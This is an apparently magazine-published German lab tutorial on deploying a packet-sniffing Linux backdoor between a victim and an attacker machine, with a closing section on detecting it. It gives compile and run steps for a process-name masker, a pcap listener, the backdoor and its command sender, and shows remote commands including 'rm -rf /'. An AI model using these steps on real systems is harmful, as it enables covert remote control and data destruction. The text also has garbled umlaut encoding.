Tutorial zum Artikel Schreiben hochentwickelter Linux-Backdoors &ndash Paketsniffing

Dieses Dokument ist ein Tutorial zum Artikel Schreiben hochentwickelter Linux-Backdoors &ndash Paketsniffing. Das Ziel der beschriebenen �bungen ist, das im Artikel beschriebene Backdoor praktisch einzusetzen.

F�r die �bung brauchen wir zwei vernetzte Rechner. Der eine – nennen wir ihn Gr�n – ist das Opfer. Wir booten ihn mit der hakin9.live Heft-CD und starten das Backdoorprogramm darauf.

Der zweite Rechner – nennen wir ihn Rot – ist der Angreiferhost. Er braucht nicht mit hakin9.live zu arbeiten, eine beliebige Linuxdistribution gen�gt.

schemat

Wenn wir keine zwei Rechner zur Verf�gung haben, k�nnen wir die �bung auf nur einem PC durchf�hren, dann erinnert sie jedoch weniger an eine echte Situation.

Vorbereitungen
Ein Blick auf das Backdoor
Verwendung des Backdoors
K�nnen wir ein Backdoor aufsp�ren?

Vorbereitungen

[01] Wir richten das Netzwerk ein (die entsprechenden Anweisungen f�r hakin9.live befinden sich hier). Gr�n booten wir mit hakin9.live, wir fahren auch Rot hoch. Wir stellen sicher, dass sich die Rechner gegenseitig pingen lassen.


Ein Blick auf das Backdoor

Bevor wir die Hintert�r �ffnen, sehen wir sie uns an. Die folgenden Schritte f�hren wir auf Gr�n aus.

Wie wir uns erinnern, besteht der Hintert�rcode aus drei Komponenten: Einer zum Umbenennen des Prozesses, einer zum Lauschen nach Paketen am vorgegebenen Port und einer zur Verarbeitung der empfangenen Pakete. Zuerst sehen wir uns den Teil an, der den Prozess umbenennt.


[02] Wir speichern das Listing von mask_process_name.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc mask_process_name.c -o mask_process_name

und starten es:

$ ./mask_process_name

[03] Im zweiten Terminal sehen wir uns die Prozessliste an:

$ ps ax

Offenbar stellt sich der Prozess als /usr/sbin/apache2 vor.

screenshot


Der zweite Teil des Backdoors ist eine Schleife, die Pakete an einem vorgegebenen Port abf�ngt.


[04] Wir speichern das Listing von pcap_test.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc -lpcap pcap_test.c -o pcap_test

Anschlie�end starten wir das Programm als Root:

# ./pcap_test

[05] Von Rot aus schicken wir ein Paket an den UDP-Port 53 von Gr�n.

$ hping <IP_Gr�n> -p 53 -2 -c 1

Wenn das hping-Programm auf Gr�n nicht vorhanden ist, k�nnen wir uns netcat bedienen:

$ nc -u <IP_Gr�n> 53 tralala ctrl+d

[06] Wir kehren zu Gr�n zur�ck. Wird eine Meldung �ber ein abgefangenes Paket angezeigt?

screenshot


Verwendung des Backdoors

[07] Wir speichern das Listing von silentdoor.c (HTML) auf der Festplatte und sehen es uns an. Wir kompilieren es:

$ gcc -lpcap silentdoor.c -o silentdoor

Anschlie�end starten wir das Programm als Root:

# ./silentdoor

[08] Auf Rot speichern wir auf der Festplatte das Listing von key_open.c (HTML), dem Programm, das verschl�sselte Befehle an die Hintert�r schickt. Wir kompilieren es:

$ gcc -lpcap key_open.c -o key_open

[09] Mit dem key_open-Programm schicken wir einen auszuf�hrenden Befehl an das Opfer. Zuerst versuchen wir, eine Datei namens xxxx anzulegen. Wir m�ssen daran denken, dass das Programm von Root gestartet werden muss:

# ./key_open <IP_Gr�n>:93 'touch xxxx'

[10] Zur�ck zu , brechen wir die Arbeit der Hintert�r ab ([ctrl+c]). Wir lassen den Verzeichnisinhalt auflisten:

# ls

Ist die angelegte Datei da? Wir starten die Hintert�r erneut.

screenshot


[11] Wir wechseln zu Rot. Wie vorher versuchen wir andere Befehle fern aufzurufen:

# ./key_open <IP_Gr�n>:93 'cat /dev/urandom > /dev/dsp' # ./key_open <IP_Gr�n>:93 'eject' # ./key_open <IP_Gr�n>:93 'rm -rf /'

Blo� aufpassen! Denken Sie immer daran, dass die abgeschickten Befehle wirklich ausgef�hrt werden!


K�nnen wir ein Backdoor aufsp�ren?

Stellen Sie sich vor, dass jemand solch eine Hintert�r auf Ihrem Rechner installiert hat... W�ren Sie im Stande, ihre Gegenwart aufzusp�ren? Die weiteren Schritte f�hren wir stets auf Rot aus.


[12] Wir sehen uns die Systemlogdateien an.

# tail /var/log/messages

Sind darin irgendwelche Hinweise an das Vorhandensein einer Hintert�r zu sehen? An ein Programm, das die ankommenden Pakete ablauscht?


[13] Wir starten ethereal:

# ethereal

und aktivieren das Ablauschen der entsprechenden Oberfl�che.


[14] Wir wechseln kurz zu Rot. Wie vorher rufen wir Befehle im Fernbetrieb auf. Inzwischen sehen wir uns Pakete an, die am Port 53 ankommen. K�nnten Sie sie von korrekten DNS-Antworten unterscheiden?

screenshot


[15] Haben Sie eine Idee, wie Sie das neu erworbene Wissen zum Aufsp�ren und Schutz vor solchen Exploits umsetzen k�nnten? Wenn ja, teilen Sie Ihre �berlegungen mit anderen – wir laden Sie herzlich auf unser Forum ein!